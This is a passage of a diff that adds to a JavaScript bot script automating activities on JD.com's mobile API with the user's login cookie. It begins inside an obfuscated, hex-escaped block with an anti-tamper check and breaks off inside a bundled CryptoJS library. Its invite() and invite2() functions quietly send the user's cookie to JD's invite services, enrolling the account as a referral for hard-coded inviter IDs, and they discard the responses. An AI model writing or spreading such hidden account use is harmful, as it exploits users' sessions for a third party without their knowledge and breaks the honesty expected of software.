{url:`${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`,headers:{'\x48\x6F\x73\x74':__Oxb24bc[0xd],'\x61\x63\x63\x65\x70\x74':__Oxb24bc[0xe],'\x6B\x65\x72\x6E\x65\x6C\x70\x6C\x61\x74\x66\x6F\x72\x6D':__Oxb24bc[0xf],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':__Oxb24bc[0x10],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxb24bc[0x11],'\x43\x6F\x6F\x6B\x69\x65':cookie}}}(function(_0x7683x9,_0x7683xa,_0x7683xb,_0x7683xc,_0x7683xd,_0x7683xe){_0x7683xe= __Oxb24bc[0x12];_0x7683xc= function(_0x7683xf){if( typeof alert!== _0x7683xe){alert(_0x7683xf)};if( typeof console!== _0x7683xe){console[__Oxb24bc[0x13]](_0x7683xf)}};_0x7683xb= function(_0x7683x7,_0x7683x9){return _0x7683x7+ _0x7683x9};_0x7683xd= _0x7683xb(__Oxb24bc[0x14],_0x7683xb(_0x7683xb(__Oxb24bc[0x15],__Oxb24bc[0x16]),__Oxb24bc[0x17]));try{_0x7683x9= __encode;if(!( typeof _0x7683x9!== _0x7683xe&& _0x7683x9=== _0x7683xb(__Oxb24bc[0x18],__Oxb24bc[0x19]))){_0x7683xc(_0x7683xd)}}catch(e){_0x7683xc(_0x7683xd)}})({}) + +function taskGetUrl(function_id, body) { + return { + url: `https://api.m.jd.com/?appid=activities_platform&functionId=${function_id}&body=${escape(JSON.stringify(body))}&t=${+new Date()}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'user-agent': $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded", + "referer": "https://an.jd.com/babelDiy/Zeus/q1eB6WUB8oC4eH1BsCLWvQakVsX/index.html" + } + } +} + +function invite2() { + let inviterIdArr = [ + "5V7vHE23qh2EkdBHXRFDuA==", + "wXX9SjXOdYMWe5Ru/1+x9A==", + "4AVQao+eH8Q8kvmXnWmkG8ef/fNr5fdejnD9+9Ugbec=", + "jbGBRBPo5DmwB9ntTCSVOGXuh1YQyccCuZpWwb3PlIc=" + ] + let inviterId = inviterIdArr[Math.floor((Math.random() * inviterIdArr.length))] + let options = { + url: "https://api.m.jd.com/", + body: `functionId=TaskInviteService&body=${JSON.stringify({"method":"participateInviteTask","data":{"channel":"1","encryptionInviterPin":encodeURIComponent(inviterId),"type":1}})}&appid=market-task-h5&uuid=&_t=${Date.now()}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://assignment.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": "https://assignment.jd.com/", + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} + +function invite() { + let t = +new Date() + let inviterIdArr = [ + "5V7vHE23qh2EkdBHXRFDuA==", + "wXX9SjXOdYMWe5Ru/1+x9A==", + "4AVQao+eH8Q8kvmXnWmkG8ef/fNr5fdejnD9+9Ugbec=", + "jbGBRBPo5DmwB9ntTCSVOGXuh1YQyccCuZpWwb3PlIc=" + ] + let inviterId = inviterIdArr[Math.floor((Math.random() * inviterIdArr.length))] + let options = { + url: `https://api.m.jd.com/?t=${t}`, + body: `functionId=InviteFriendChangeAssertsService&body=${JSON.stringify({"method":"attendInviteActivity","data":{"inviterPin":encodeURIComponent(inviterId),"channel":1,"token":"","frontendInitStatus":""}})}&referer=-1&eid=eidI9b2981202fsec83iRW1nTsOVzCocWda3YHPN471AY78%2FQBhYbXeWtdg%2F3TCtVTMrE1JjM8Sqt8f2TqF1Z5P%2FRPGlzA1dERP0Z5bLWdq5N5B2VbBO&aid=&client=ios&clientVersion=14.4.2&networkType=wifi&fp=-1&uuid=ab048084b47df24880613326feffdf7eee471488&osVersion=14.4.2&d_brand=iPhone&d_model=iPhone10,2&agent=-1&pageClickKey=-1&platform=3&lang=zh_CN&appid=market-task-h5&_t=${t}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Content-type": "application/x-www-form-urlencoded", + "Origin": "https://invite-reward.jd.com", + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "User-Agent": $.isNode() ? (process.env.JS_USER_AGENT ? process.env.JS_USER_AGENT : (require('./JS_USER_AGENTS').USER_AGENT)) : ($.getdata('JSUA') ? $.getdata('JSUA') : "'jdltapp;iPad;3.1.0;14.4;network/wifi;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Referer": 'https://invite-reward.jd.com/', + "Accept-Encoding": "gzip, deflate, br", + "Cookie": cookie + } + } + $.post(options, (err, resp, data) => { + // console.log(data) + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, 